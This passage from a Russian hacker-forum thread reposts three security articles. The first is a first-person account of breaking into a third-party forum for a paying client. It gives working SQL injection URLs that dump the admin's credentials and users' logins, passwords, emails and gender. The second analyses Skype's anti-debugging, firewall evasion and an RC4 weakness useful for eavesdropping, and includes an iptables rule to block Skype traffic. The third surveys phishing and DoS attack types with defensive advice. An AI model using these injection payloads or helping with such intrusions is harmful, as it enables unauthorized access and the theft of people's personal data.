и вижу свои куки. Оставляю XXS на потом, пытаюсь дальше разобраться с инъекцией.
Поискав информацию по форумам и проконсультировавшись со знатоками SQL-дела, решаю, что можно попробовать AES_DECRYPT()/AES_ENCRYPT() и получаю имя юзера. Пробую вывести какую-либо информацию из таблицы sfposts, название которой мне любезно предоставил сервер. Но, кроме идентификатора юзера user_id, больше ничего не захотело выводиться. Тогда я решил проверить другие таблицы, и первый же запрос вернул сообщение, что таблица admin существует.
Немного помудрив с именами колонок, я получил логин и пароль админа:
]]>http://www.zlo.com/forum.php?forum=7&topic=-11+]]> union+select+1,CONCAT(%20user,%20CHAR(32,58,32), %20pass),3,4,5,6,7+FROM+admin/*
Я уже прикидывал, что сейчас зайду под админом, покажу челу доступ, заберу гонорар и вернусь к проекту бизнес-плана, но тут меня ждал облом. Доступ к ]]>http://www.zlo.com/admin/]]> был закрыт .htpasswd, с меня потребовали логин и пароль. Я ввел только что полученные из базы реквизиты админа и... был послан. Попробовал пошаманить с именем базы и паролем, но ничего не помогло. А праздник был так близко...
Тогда я решил попробовать вывести .htaccess через LOAD_FILE, но и тут меня ждал облом. Вывод файлов был отключен. Оставалось последнее - выводить информацию о юзерах через limit, но тут меня ждал нешуточный гемморой, я часа два перебирал всевозможные имена таблицы юзеров, и ни одно не подошло. Возникла мысль поискать эту версию форума в инете, скачать исходники и глянуть, как называется таблица юзеров. Но и здесь меня уже ждала птица обломинго. Такого форума не знал даже товарищ google.
Хотелось плакать и холодного пива. Опять загнусавил голос долга, пугая страшными муками в ближайщем будущем. От досады я решил пойти и зарегаться на сайте, может, так мне удастся узнать имя таблицы юзеров. И тут я увидел поиск. Вбив в него кавычку, я получил ответ, наполнивший радостью мое сердце:
[search::load] Internal Error: Load query failed, SQL=SELECT DISTINCT tbluser.userName, left(tbluser.description, 150) as description, tbluser.lastDate, tbluser.mainImage, lstcountry.type as country, lststate.state as state, tbluser.suburb, tbluser.age, lstgender.type as gender, if(propuser.userName LIKE '%'%',1,0) as keysort, IF (tbluser.lastActive > tbluser.lastDate, DATE_FORMAT( FROM_DAYS( 365 + TO_DAYS( NOW( ) ) - TO_DAYS( DATE_FORMAT( lastActive, '%Y-%m-%d' ) ) ) , '%Y-%m-%d' ) , DATE_FORMAT( FROM_DAYS( 365 + TO_DAYS( NOW( ) ) - TO_DAYS( DATE_FORMAT( lastDate, '%Y-%m-%d' ) ) ) , '%Y-%m-%d' )) AS active FROM tbluser LEFT JOIN lstcountry ON tbluser.country=lstcountry.id LEFT JOIN lststate ON tbluser.state=lststate.id LEFT JOIN lstgender ON tbluser.gender=lstgender.id LEFT JOIN propuser ON tbluser.userName = propuser.userName WHERE (soundex(tbluser.userName) = soundex(''') OR propuser.userName LIKE ''%') AND propuser.emailVerified = 1 AND propuser.accountChecked = 1 AND propuser.accoutSuspended <> 1 AND propuser.securitysuspend <> 1 AND (propuser.bounce IS NULL OR propuser.bounce <>1) AND propuser.deleted <> 1 ORDER BY keysort desc, 'active' asc, 'CreateDate' DESC

Проклятая таблица с юзерами носила название tbluser!!!
И вот уже через минуту я перебирал логины/пароли/мыла юзеров:
]]>http://www.zlo.com/forum.php?forum=7&t...+union+select+1]]>, CONCAT(username,%20CHAR(32,58,32),passwd,%20CHAR(32,58,32),%20email),3,4,5,6,7+ from+tbluser+limit+0,1/*
Стукнул заказчику, показал запрос вывода, но его интересовали только данные мужиков. Надо было как-то отфильтровать их по половому признаку, не заходить же к каждому в его профиль. И тут мне вновь помогло сообщение об ошибке из поиска, там фигурировало название колонки type as gender. С ней тоже пришлось немного повозиться, но в итоге мне удалось вывести значение из нее:
]]>http://www.zlo.com/forum.php?forum=7&t...+union+select+1]]>, CONCAT(username,%20CHAR(32,58,32),passwd, %20CHAR(32,58,32),email,%20 CHAR(32,58,32)gender),3,4,5,6,7+from+tbluser+limit+0,1/*
Значение было числовым - 1 или 2. Зайдя по имеющимся у меня реквизитам доступа на личные профили пользователей, я быстро выяснил, что 1 - это у нас М, а 2 - как говаривал один персонаж в "Бриллиантовой руке", Жэ.
Объяснив все это заказчику, я собрался и пошел домой, где сел и написал эту статью. А завтра понедельник, и мне надо будет представить проект бизнес-плана на четвертый квартал. Но я его так и не сделал, и значит, меня ждет головомойка у шефа. Но это будет только завтра.

автор: [email="Не"]durito[/email]

[EOF]
[Статьи:Skype: скрытая угроза.дата: 08.06.2007 21:36:40 .Ссылка:http://xakep.ru/post/38543/default.asp]

Skype представляет собой одну из самых популярных VoIP-программ, установленную на миллионах компьютеров по всему миру, владельцы которых даже и не подозревают, какая опасность им грозит. А опасность им грозит весьма серьезная: от утечки конфиденциальной информации до проникновения червей и попадания на трафик, не говоря уже о таких мелочах, как нежелание Skype работать при активном SoftICE. Я все это благополучно разгрыз и теперь выставляю продукты своей жизнедеятельности на всеобщее обозрение smile.gif.
Skype, созданный отцами-основателями скандально известной Kazaa и унаследовавший от своей прародительницы самые худшие ее черты, работает по принципу самоорганизующейся распределенной пиринговой сети (distributed self-organized peer-to-peer network, P2P). Skype – это черный ящик с многоуровневой системой шифрования, напичканного антиотладочными приемами исполняемого файла, считывающий с компьютера конфиденциальную информацию и передающий ее в сеть по закрытому протоколу. Последний обходит брандмауэры и сурово маскирует свой трафик, препятствуя его блокированию. Все это превращает Skype в идеального переносчика вирусов, червей и дронов, создающих свои собственные распределенные сети внутри Skype-сети. К тому же, Skype довольно бесцеремонно обращается с ресурсами твоего узла, используя его для поддержания связи между остальными узлами Skype-сети, напрягая ЦП и генерируя мощный поток трафика. А трафик, как известно, редко бывает бесплатным (особенно в России), так что кажущаяся бесплатность звонков весьма условна: за узлы с «тонкими» каналами расплачиваются «толстые» владельцы.
Skype активно изучается в хакерских лабораториях и security-организациях по всему миру, и большинство исследователей единодушно сходятся во мнении, что Skype - это дьявольски хитрая программа, написанная бесспорно талантливыми людьми в стиле Black Magic Art. Skype не брезгует грязными трюками, создающими огромные проблемы, о которых я и собираюсь рассказать.

Анализ исполняемого файла Skype
Исполняемый файл Skype-клиента представляет собой настоящий шедевр хакерского искусства, вобравший в себя множество интересных и достаточно могучих защитных механизмов. Для противодействия им требуются не только мощные инструментальные средства (отладчики, дизассемблеры, дамперы и т.д.) и знания/навыки, но еще и куча свободного времени.
Двоичный файл полностью зашифрован и динамически расшифровывается по мере загрузки в память. Причем сброс дампа невозможен, точнее, затруднен тем обстоятельством, что стартовый код после выполнения очищается, в результате чего мы получаем exe, который не запускается. Оригинальная таблица импорта не содержит ничего интересного, и API-функции подключаются уже в процессе распаковки. Проверка целостности кода выполняется из разных мест в случайном порядке (преимущественно при входящих звонках), поэтому поиск защитных процедур представляет собой весьма нетривиальную задачу. Тем более что они основаны на криптографических RSA-сигнатурах и снабжены полиморфными генераторами, которые в случайном порядке переставляют инструкции ADD, XOR, SUB и др., перемешивая их с левыми машинными командами.
Статический вызов функций (по жестко прописанному адресу) практически не встречается, и все важные процедуры вызываются по динамически вычисляемому указателю, пропущенному через обфускатор. Следовательно, дизассемблер нам тут уже не поможет, и приходится браться за отладчик.
А вот про отладчик следует сказать отдельно. Skype распознает SoftICE даже при наличии установленного IceExt, наотрез отказываясь запускаться. Это забавно, поскольку для взлома самого Skype отладчик SoftICE не очень-то и нужен, ведь существуют и другие инструменты подобного рода, среди которых в первую очередь хотелось бы отметить The Rasta Ring 0 Debugger, или сокращенно [RR0D], не обнаруживаемый Skype-клиентом и, как и следует из его названия, работающий на уровне ядра. В принципе, можно воспользоваться и отладчиком прикладного уровня (например, стремительно набирающим популярность OllyDbg). Только при этом важно помнить, что Skype легко обнаруживает программные точки останова, представляющие собой однобайтовую машинную инструкцию с опкодом CCh, записывающуюся поверх отлаживаемого кода. А для предотвращения пошаговой трассировки Skype осуществляет замеры времени выполнения определенных участков кода, для прохождения через которые приходится использовать полноценные эмуляторы PC с интегрированным отладчиком, например, знаменитый BOCHS.
Наконец, когда исполняемый файл распакован и все проверки пройдены, защита вычисляет контрольную сумму и преобразует ее в указатель, по которому передается управление, пробуждающее Skype.

Последовательность распаковки исполняемого файла

Антиотладочные приемы, с помощью которых Skype обнаруживает загруженный SoftICE
Проблема в том, что Skype очень следит за своей целостью, поэтому попытка исправления jnz на jmp short работает только до первого входящего звонка, после которого Skype падает и обратно уже не поднимается. Специально для таких хитроумных защит еще во времена MS-DOS была разработана техника онлайн-патча, при которой исправление программы осуществляется непосредственно в оперативной памяти, а после успешного прохождения проверки на наличие SoftICE совершается откат, чтобы не волновать процедуру проверки целости.

Беглая трассировка Skype с помощью OllyDbg быстро выявляет защитный код, выполняющий проверку на присутствие SoftICE

Архитектура распределенной сети
На атомарном уровне структура Skype-сети состоит из обычных узлов (normal/ordinal node/host/nest), обозначаемых аббревиатурой SC (Skype Client), и super-узлов (super node/host/nest), которым соответствует аббревиатура SN. Любой узел, который имеет публичный IP-адрес (тот, который маршрутизируется в интернет) и обладает достаточно широким каналом, автоматически становится super-узлом и гонит через себя трафик обычных узлов, помогая им преодолеть защиты типа брандмауэров или трансляторов сетевых адресов (NAT) и равномерно распределяя нагрузку между хостами. В этом и состоит суть самоорганизующейся распределенной децентрализованной пиринговой сети, единственным централизованным элементом которой является Skype-login-сервер, отвечающий за процедуру авторизации Skype-клиентов и гарантирующий уникальность позывных для всей распределенной сети.
Важно подчеркнуть, что связь между узлами осуществляется не напрямую, а через цепочку super-узлов. Серверов в общепринятом смысле этого слова (таких, например, как в сети eDonkey) в Skype-сети нет. Любой узел с установленным Skype-клиентом является потенциальным сервером, которым он автоматически становится при наличии достаточных системных ресурсов (объема оперативной памяти, быстродействия процессора и пропускной способности сетевого канала).
Каждый узел Skype-сети хранит перечень IP-адресов и портов известных ему super-узлов в динамически обновляемых кэш-таблицах (Host Cache Tables, HC-tables). Начиная с версии Skype 1.0, кэш-таблица представляет собой простой XML-файл, в незашифрованном виде записанный на диске в домашней директории пользователя.

Структура децентрализованной самоорганизующейся пиринговой Skype-сети
Skype-клиенты за отдельную плату могут принимать входящие звонки с обычных телефонов и совершать подобные звонки. Однако в PC2PC-обмене эти серверы никак не участвуют, поэтому мы не будем на них останавливаться.

Помимо звонков внутри Skype-сети, пользователи могут звонить и на обычные телефоны, а также принимать с них звонки.

Как [b]Skype обходит брандмауэры[/b]
Протокол обмена между Skype-клиентами совершенно недокументирован, и поэтому вся информация о нем получена методами реинженеринга: дизассемблирования Skype-клиентов, анализа перехваченного сетевого трафика и т.д. Поскольку существует огромное количество значительно различающихся между собой версий Skype-клиентов, то описание протокола может содержать неточности, во всяком случае, open-source-клиента еще никто не написал.
Сразу же после своего запуска Skype-клиент открывает TCP- и UDP-порты. Их номера случайным образом задаются при инсталляции и могут быть в любой момент изменены через диалог конфигурации, что затрудняет блокирование Skype-трафика на брандмауэре. Помимо этого, Skype открывает порты 80 (HTTP) и 443, однако они не являются жизненно важными, и, даже если их заблокировать, Skype ничуть не огорчится.

Структура IP-пакета при работе Skype по протоколу UDP
Ситуация осложняется тем, что Skype шифрует трафик, активно используя продвинутые технологии обфускации, препятствующие выделению постоянных сигнатур в полях заголовков. Алгоритмы шифрования меняются от версии к версии, к тому же выпущено множество специальных версий для разных стран мира, чьи законы налагают определенные ограничения на длину ключа или выбранные криптографические алгоритмы. Но в целом механизм шифрования выглядит так, как показано на рисунке.

Механизм шифрования, используемый Skype
Skype-клиенты крайне деликатно обходятся с брандмауэрами и трансляторами сетевых адресов, просачиваясь сквозь них через хорошо известные протоколы STUN и TURN. Протокол STUN уже вошел в Библию Интернета и подробно описан в ]]>RFC-3489]]>. Что же касается TURN'а, то он все еще находится в разработке и в настоящее время доступна лишь черновая версия стандарта: ]]>www.jdrosen.net/midcom_turn.html]]>.
Так что, с юридической точки зрения, действия Skype законны и не попадают под статью. STUN, расшифровывающийся как Simple Traversal of User Datagram Protocol (UDP) Through Network Address Translators (NATs) (простое проникновение датаграмм протокола UDP через транслятор сетевых адресов (NAT)), представляет собой отличное средство, которое страдает, однако, рядом ограничений и не работает в следующих случаях:
  1. если путь во внешнюю сеть прегражден злобным брандмауэром, режущим весь UDP;
  2. если на пути во внешнюю сеть стоит симметричный транслятор сетевых адресов.
Ну, с брандмауэром все понятно. Если UDP закрыт, то никак его не откроешь. А вот симметричный транслятор сетевых адресов (symmetric NAT) — это что за штука? Не углубляясь в технические детали, скажем, что симметричный NAT представляет собой разновидность обыкновенного транслятора, требующего, чтобы целевой IP-адрес и порт транслируемого пакета совпадали с внешним (external) IP-адресом и портом. Если один и тот же узел посылает пакеты с одинаковыми исходными IP-адресами и портами по разным направлениям, NAT будет вынужден транслировать их на другие порты. Таким образом, чтобы отправить внутреннему узлу UDP-пакет, внешний узел должен первым делом получить запрос от внутреннего узла. Самостоятельно инициировать соединение внешний узел не в состоянии, поскольку NAT просто не знает, на какой внутренний IP и порт следует транслировать неожиданно сваливавшийся UDP-пакет.
Эта проблема решается протоколом TURN (Traversal Using Relay NAT), технические подробности работы которого описаны по вышеупомянутому адресу и большинству читателей совершенно неинтересны. Гораздо важнее другое — протокол TURN значительно увеличивает латентность и теряет большое количество UDP-пакетов (packet loss), что далеко не лучшим образом сказывается на качестве и устойчивости связи, но полное отсутствие связи - еще хуже. Так что пользователям Skype стоит радоваться, а не жаловаться!

Структура Skype-сети, в которой присутствуют Skype-клиенты за NAT и брандмауэрами
Вот только администраторы этой радости почему-то не разделяют, наглухо закрывая UDP-трафик (тем более что большинству нормальных программ он не нужен). Немного поворчав для приличия (замуровали, демоны!), Skype автоматически переключается на чистый TCP, отрубить который администратору никто не позволит. Правда, поколдовав над брандмауэром, тот может закрыть все неиспользуемые порты, но в том-то и подвох, что неиспользуемых портов в природе не встречается! При соединении с удаленным узлом операционная система назначает клиенту любой свободный TCP/UDP-порт, на который будут приходить пакеты. То есть, если мы подключаемся к web-серверу по 80-му порту, наш локальный порт может оказаться 1369-м, 6927-м или еще каким-нибудь другим. Закрыв все порты, мы лишимся возможности устанавливать TCP/UDP-соединения!
Единственный выход — обрубить всем пользователям локальной сети прямой доступ в интернет, заставив их ходить через proxy-сервер. Однако даже такие драконовские меры не решат проблемы, поскольку Skype просто прочитает конфигурацию браузера и воспользуется proxy-сервером как своим родным!

Skype, работающий через proxy-сервер, конфигурация которого прочитана из настроек браузера

Как заблокировать [b]Skype-трафик[/b]
Разработчики Skype предостерегают администраторов от попыток выявления и блокирования его трафика (типа: «Все равно у вас ничего не получится!»). И действительно, распознать Skype-трафик очень сложно, а заблокировать его можно только по содержимому, которое зашифровано и не содержит никаких предсказуемых последовательностей. К счастью для администраторов, создатели Skype, при всей своей гениальности, допустили ряд оплошностей, оставив часть трафика незашифрованной. UDP-соединение использует открытый протокол для получения публичных IP-адресов super-узлов, что вполне может быть выявлено анализатором трафика. Это раз. TCP-соединение использует один и тот же RC4-поток дважды, что позволяет нам восстановить 10 первых байт ключа, расшифровав часть постоянных полей заголовков Skype-протокола. Это два! Кстати, весьма полезная вещь для шпионажа за чужими разговорами! Однако мне не известен ни один готовый блокиратор Skype-трафика, а писать свой собственный — лениво, да и времени нет.

Повторное использование RC4-потока позволяет восстановить 10 байт ключа из 12-ти, расшифровывая часть Skype-трафика
Распознать и заблокировать UDP-трафик намного проще. Каждый фрейм начинается с двухбайтового идентификационного номера (ID) и типа пакета (payload). В UDP-пакет вложен 39-байтный NACK-пакет, пропущенный через обфускатор и содержащий следующие данные:
  • идентификатор пакета (непостоянен и варьируется от пакета к пакету);
  • номер функции (func), пропущенный через обфускатор, но func & 8Fh всегда равно 7h;
  • IP отправителя;
  • IP получателя.
Таким образом, чтобы заблокировать UDP-трафик, генерируемый Skype, достаточно добавить в брандмауэр следующее правило:
iptables -I FORWARD -p udp -m length --length 39 -m u32
--u32 '27&0 x8f=7' --u32 '31=0 x527c4833 ' -j DROP

Структура NACK-пакета
К сожалению, блокировка UDP-трафика ничего не решает, поскольку Skype автоматом переходит на TCP, но тут есть одна небольшая зацепка. Заголовки входящих IP-пакетов, относящиеся к протоколу обмена SSL-ключами (SSL key-exchange packets), содержат нехарактерный для «нормальных» приложений идентификатор 170301h, возвращаемый в ответ на запрос с идентификатором 160301h (стандартный SSL версии 3.1). Таким образом, блокирование всех входящих пакетов, содержащих в заголовке 170301h, серьезно озадачит Skype, и текущие версии потеряют работоспособность. Вот только надолго ли…

Распознание Skype-трафика по необычному идентификатору во время обращения к Login Server при обмене SSL-ключами
Для детектирования и блокирования Skype-трафика можно использовать и другие программно-аппаратные средства, например, PRX от Ipoque или Cisco Network-Based Application Recognition (NBAR). Однако все они недостаточно эффективны, так как разработчики Skype не сидят сложа руки, и если кому-то удается найти надежный способ блокировки его поганого трафика, в следующих версиях поганец появляется вновь.

Армии дронов, или как зомбировать [b]Skype[/b]
Дешевизна голосовых разговоров вызвала бурный рост популярности Skype, сеть которого на 27 апреля 2006 года, по официальным данным, составила свыше 100 миллионов зарегистрированных пользователей. А сегодня совершают, по меньшей мере, один Skype-звонок в день свыше 700 тысяч человек! Несложно спрогнозировать, что в скором времени в Skype войдет львиная доля узлов интернета, что имеет как положительную, так и отрицательную сторону.
Хакеры уже давно догадались использовать Skype для распространения вирусов и организации распределенных атак, которым очень сложно воспрепятствовать - Skype-трафик надежно зашифрован и не может быть проанализирован антивирусами, заблокирован брандмауэрами или распознан системами обнаружения вторжения.
Естественно, чтобы захватить Skype-узел, хакер должен найти способ передать на него зловредный код, что при соблюдении всех мер безопасности он ни за что не сможет сделать. Но, как и всякое другое программное обеспечение, Skype подвержен ошибкам, в том числе и ошибкам переполнения, одна из которых была обнаружена 25 сентября 2005 года. Сейчас она уже давно исправлена и представляет лишь исторический интерес, но с ней все-таки стоит познакомиться поближе (а сделать это можно на ]]>Skype.com/security/Skype-sb-2005-03.html]]> или на ]]>seclists.org/fulldisclosure/2005/Oct/0533.html]]>).
Возможность передачи управления на shell-код позволяла атакующему овладевать любым Skype-узлом, а также всеми известными ему super-узлами и т.д. Над распределенной сетью нависла глобальная угроза, и просто чудо, что она не закончилась катастрофой. Однако, как показывает практика, там, где есть одна ошибка, рано или поздно появляются и другие. Закрытость исходных текстов и множество антиотладочных приемов (затрудняющих тестирование программы) этому только способствуют!
Другая опасная «вкусность» Skype заключается в открытости его API. Пойдя навстречу сторонним разработчикам, создатели Skype предусмотрели возможность интеграции любой прикладной программы со Skype-клиентом. Правда, при этом на экран выводится грозное предупреждение, что такая-то программа хочет пользоваться Skype API: разрешить или послать ее на фиг? Естественно, большинство пользователей на подобные вопросы отвечают утвердительно. Уже привыкшие к надоедливым предупреждениям, они инстинктивно давят «Yes» и только потом начинают думать, а что же они, собственно, разрешили?
Понятное дело, что, чтобы использовать Skype API, зловредную программу нужно как-то доставить на компьютер. Раньше для этого применялась электронная почта, успешно фильтруемая антивирусами, но количество пользователей, запустивших исполняемый файл, все равно исчислялось миллионами. Теперь же для рассылки вирусов можно использовать сам Skype. Локальный антивирус — единственное средство обороны, потенциально способное отразить атаку. Но, если он и установлен, распознать неизвестный науке вирус он не в состоянии даже при наличии антивирусных баз первой свежести (эвристика пока все-таки работает больше на рекламу, чем на конечный результат).
Важно, что протокол Skype уже частично расшифрован и созданы хакерские инструменты, позволяющие взаимодействовать со Skype-узлами в обход стандартных Skype-клиентов, и даже без сервера регистрации! И хотя в настоящее время дело ограничивается простым сбором адресов super-узлов, существует принципиальная возможность создания своих собственных сетей на базе распределенной Skype-сети, главная ошибка разработчиков которой заключается в том, что Skype-узлы безоговорочно доверяют друг другу и вся «безопасность» зиждется лишь на закрытости протокола.

Географическое распределение super-узлов Skype по планете

Заключение
Заканчивая статью, я хотел бы спросить: что же все-таки скрывают создатели Skype в недрах своего кода? Почему, распространяя программу бесплатно, они зажимают исходные тексты и используют закрытый протокол, вызывая тем самым недоверие специалистов по безопасности? Для чего бесплатной программе столь навороченная защита, снижающая производительность и потребляющая большое количество памяти, ведь ломать ее никто не собирается? Почему вообще Skype-клиент реализован как черный ящик?
Вопросы риторические. Но чует мой хвост, неспроста все это!
WWW
General [b]Skype Analysis[/b] - мини-портал с кучей ссылок на статьи и прочие ресурсы, посвященные анализу Skype и методам борьбы с ним: ]]>http://www1.cs.columbia.edu/~salman/Skype]]>.
[b]Skype Trojan[/b] - тезисная презентация Walter Sprenger, показывающая, как можно использовать Skype-сеть для распространения червей и прочей заразы: ]]>http://www.csnc.ch/static/download/misc/20...ojaner_v1.1.pdf]]>.
How to use [b]Skype with Softice?[/b] - любопытная статья, рассказывающая, почему Skype-клиент не работает при установленном SoftICE и как это побороть: ]]>http://gcasiez.perso.orange.fr/Skypeandsoftice.html]]>.
[b]Skype Reads Your BIOS and Motherboard Serial Number[/b] - заметка в блоге, разоблачающая махинации, скрыто проделываемые Skype, читающим BIOS и серийный номер материнской платы: ]]>http://www.pagetable.com/?p=27]]>.

автор: [email="Не"]Крис Касперски ака мыщъх[/email]

[EOF]

Сообщение отредактировано CL!F - 20.06.2007 - 23:55
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 22.06.2007 - 23:13

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


[Статьи:Способы взлома...дата:---- .Ссылка: ]]>http://www.inattack.ru/article/402.html]]>]
  1. Fishing (или Фишинг). Очень широкое понятие. Смысл его в том, чтобы получить от пользователей информацию (пароли, номера кредитных карт и т.п.) или деньги. Этот приём направлен не на одного пользователя, а на многих. Например, письма якобы от службы технической поддержки рассылаются всем известным клиентам какого-либо банка. В письмах обычно содержится просьба выслать пароль к учётной записи, якобы из-за проведения каких-либо технических работ. Несмотря на то, что пользователей предупреждают, что никакую подобную информацию от них никто из работников не может потребовать, и эта информация не должна разглашаться, всегда находятся те, кто с удовольствием «дарит» свои номера, пароли и прочее. Подобные письма, обычно очень правдоподобно и грамотно составлены, что, возможно, подкупает доверчивых пользователей. Нужно оговориться, что приёмов для фишинга есть несколько, помимо писем. Некоторые из нижеприведённых приёмов при правильном применении подходят для фишинга (как правило, мы упоминаем об этом при описании приёма).
    Рекомендации: Помните, что паранойя – лучшая защита. Не доверяйте ничему подозрительному, никому не давайте свои данные. Администраторам не нужно знать Ваш пароль, если он предназначен для доступа к их серверу. Они полностью управляют сервером и могут сами посмотреть пароль или изменить его.
  2. Социальная инженерия – это не технический, а психологический приём. Пользуясь данными, полученными при инвентаризации, взломщик может позвонить какому-либо пользователю (например, корпоративной сети) от имени администратора и попытаться узнать у него, например, пароль. Это становится возможным, когда в больших сетях, пользователи не знают всех работников, и тем более не всегда могут точно узнать их по телефону. Кроме этого, используются сложные психологические приёмы, поэтому шанс на успех сильно возрастает.
    Рекомендации: те же самые. Если действительно есть необходимость, то сообщите нужные данные лично. В том случае, если Вы записали пароль на бумаге, не оставляйте её где попало и по возможности уничтожайте, а не просто выбрасывайте в мусорную корзину.
  3. Вирусы. Самая известная простому пользователю проблема. Суть во внедрении вредоносной программы в компьютер пользователя. Последствия могут быть различны и зависят от вида вируса, которым заражён компьютер. Но в целом - от похищения информации до рассылки спама, организации DDoS атак, а так же получения полного контроля над компьютером. Помимо прикрепленного к письму файла, вирусы могут попасть в компьютер через некоторые уязвимости ОС, которые описываются в нашей статье «Рейтинг уязвимостей Windows». Вирусов существует огромное множество, но всё же возможно их классифицировать. Мы не хотим изобретать заново велосипед, поэтому можно воспользоваться информацией этой страницы ]]>http://school8.uriit.ru/people/av/class.html]]> где приводится классификация вирусов с описанием. Чуть более подробно эта тема раскрывается здесь ]]>http://fivt.krgtu.ru/kafedri/mo/site/ANTIVIRUS/pages/02.htm]]>
    Рекомендации: Пользуйтесь антивирусным ПО. Не ограничивайтесь только DrWEB или Kaspersky Anti-Virus (потому как они не проверяют реестр), используйте специализированные антивирусы против Malware, например Ad-Aware, SpyBot, XSpy. А так же не открывайте подозрительных вложений и вообще не открывайте программ от неизвестных отправителей. Даже если отправитель Вам знаком, всё равно сначала проверьте антивирусом. Здесь как в медицине, легче избежать, чем потом вылечить.
  4. DoS (Denial of Service или Отказ от Обслуживания). Мы бы хотели сказать, что это скорее не отдельная атака, а результат атаки; используется для вывода системы или отдельных программ из строя. Для этого взломщик особым образом формирует запрос к какой-либо программе, после чего она перестаёт функционировать. Требуется перезарузка, чтобы вернуть рабочее состояние программы. Часто встречается мнение, что DoS, это то же самое, что и атака типа Flood и что вообще нужно соединить все атаки, которые приводят к отказу системы под общим названием DoS. Здесь стоит оговориться, что:

    --Общей терминологии нет, есть скорее негласные правила, по которым классифицируется атака, поэтому даже в рамках данной статьи мы приведём, в чем-то расхожую классификацию.
    --Как мы уже сказали, к отказу от обслуживания может привести не только Flood, но, например и Buffer Overflow.

    Поэтому, DoS можно охарактеризовать как результат атаки. Например: «эффект отказа от обслуживания достигнут применением атаки типа Flood».
  5. Flood (Флуд или Поток/Затопление). Этот тип достаточно спорный, отчасти его можно отнести к DoS, но мы хотели бы выделить его отдельно. С некоторого количества машин (в этом случае атака будет называться DDoS Distributed Denial of Service. Распределенная атака на отказ от обслуживания), как правило «Зомби» посылают жертве максимально возможное количество запросов (например, запросы на соединение). От этого жертва не успевает отвечать на каждый запрос, и в итоге не отвечает на пользовательские запросы, т.е. можно сказать, что перестаёт нормально функционировать. Примечание: этот тип атаки можно назвать хулиганством, когда, например, форумы заполняют большим количеством бессмысленных сообщений. Можно выделить следующие типы Flood:

    --SYN Flood – Затопление атакуемого компьютера пакетами типа SYN. Как известно, компьютер должен на такой пакет ответить пакетом типа SYN/ACK. Если пакетов SYN слишком много, то компьютер не успевает отвечать на каждый и не может принимать пакеты от других компьютеров.
    --ICMP Flood или Ping Flood – То же самое, только пакетами ICMP. Система должна ответить на такой пакет, тем самым создаётся большое количество пакетов, которые снижают производительность (пропускную способность) канала.
    --Identification Flood (Ident Flood). Похожа на ICMP Flood, но ответ на запрос на порт 113 типа identd занимает у системы больше времени, поэтому атака более эффективна.
    --DNS Flood – атака направлена на DNS сервера. Их наводняют DNS запросы, на которые сервер не успевает отвечать, таким образом, на Ваши запросы он так же ответить не сможет. Как следствие, Вы не сможет посещать Интернет сайты.
    --DDoS DNS – Атака достаточно новая, и мы не встречали «устоявшегося» названия. По сути, этот приём примерно то же самое, что и предыдущий, с той лишь разницей, что запросы поступают с большого количества машин (предыдущий тип этого не исключает). Адрес, по которому должен ответить DNS-сервер на эти запросы, равен адресу самого DNS сервера, т.е. его не только наводняют запросы DNS, но он же ещё и отправляет их себе же. Таким образом, приём более эффективен, чем предыдущий, но и более сложен в реализации.
    --Boink (Bonk, Teardrop) – Жертве посылается огромное количество сильно фрагментированных пакетов, но при этом фрагменты большого размера. Для каждого фрагментированного пакета выделяется специальный буфер, в который в последствии будут помещены другие фрагменты, чтобы потом сложить их воедино. Огромное количество больших фрагментов переполняют буфера и могут спровоцировать зависание или аварийную остановку.
    --Pong – то же самое, что и любой другой из вышеперечисленных видов, отличие только в том, что адрес отправителя поддельный. Это даёт взломщику некоторую анонимность.

    Рекомендации: для каждой ОС или маршрутизатора свои; они, как правило, даны в технической документации. Не пренебрегайте ими, чётко ограничивайте количество допустимых пакетов. К сожалению, некоторые виды невозможно отразить ничем, кроме физического отключения. Правильно настроенные межсетевые экраны (или Брандмауэры) часто являются панацеей.
  6. Smurf (атака, направленная на ошибки реализации TCP-IP протокола). Сейчас этот вид атаки считается экзотикой, однако раньше, когда TCP-IP протокол был достаточно новым, в нём содержалось некоторое количество ошибок, которые позволяли, например, подменять IP адреса. Однако, этот тип атаки применяется до сих пор. Некоторые специалисты выделяют TCP Smurf, UDP Smurf, ICMP Smurf. Конечно, такое деление основано на типе пакетов.
    Рекомендации: коммутаторы CISCO предоставляют хорошую защиту, как и многие другие, а также свежее ПО и межсетевые экраны; необходимо блокировать широковещательные запросы.
  7. Ping-of-Death (или Jolt, SSPing) – Атака заключается в том, что жертве посылается фрагментированный ICMP пакет, но размер фрагмента очень большой (64кБ). Старые версии ОС, например Windows 95, повисают. Эту атаку можно осуществить с помощью программы Shadow Security Scanner.
    Рекомендации: легче всего обновить ОС, отказавшись от старой версии.
  8. UDP Storm (UDP шторм) – используется в том случае, если на жертве открыто как минимум два UDP порта, каждый из которых отсылает отправителю какой-нибудь ответ. Например, порт 37 с сервером time на запрос отправляет текущую дату и время. Взломщик отправляет UDP пакет на один из портов жертвы, но в качестве отправителя указывает адрес жертвы и второй открытый UDP порт жертвы. Тогда порты начинают бесконечно отвечать друг другу, что снижает производительность. Шторм прекратится, как только один из пакетов пропадёт (например, из-за перегрузки ресурсов).
    Рекомендации: по возможности исключить использование сервисов, которые принимают UDP пакеты, либо отрезать их от внешней сети межсетевым экраном.
  9. UDP Bomb – взломщик отправляет системе UDP пакет с некорректными полями служебных данных. Данные могут быть нарушены как угодно (например, некорректная длина полей, структура). Это может привести к аварийному завершению.
    Рекомендации: обновите ПО.
  10. Land – жертве посылается пакет на определённый порт, но адрес отправителя устанавливается тот же самый, что и жертвы, а порт отправителя равен порту получателя. (пример: получатель: 1.1.1.1 порт 111 отправитель: 1.1.1.1 порт 111). Жертва пытается установить соединение с собой, отчего может произойти повисание системы. Подобная атака также может быть на 100% эффективна против некоторых маршрутизаторов.
  11. Mail Bombing («Почтовая бомбёжка»). Если на атакуемом компьютере есть почтовый сервер, то на него посылается огромное количество почтовых сообщений с целью вывода его из строя. С одной стороны, это напоминает Flood, но с другой стороны, если сообщения содержат большие вложения, которые будут проверяться серверным антивирусом, то подобная проверка множества входящих вложений может существенно снизить производительность или свести её на нет. Кроме того, такие сообщения сохраняются на жёстком диске сервера и могут переполнить его, что может вызвать DoS. Конечно, сейчас эта атака, скорее история, но в некоторых случаях всё же может быть использована.
    Рекомендации: грамотная настройка почтового сервера.
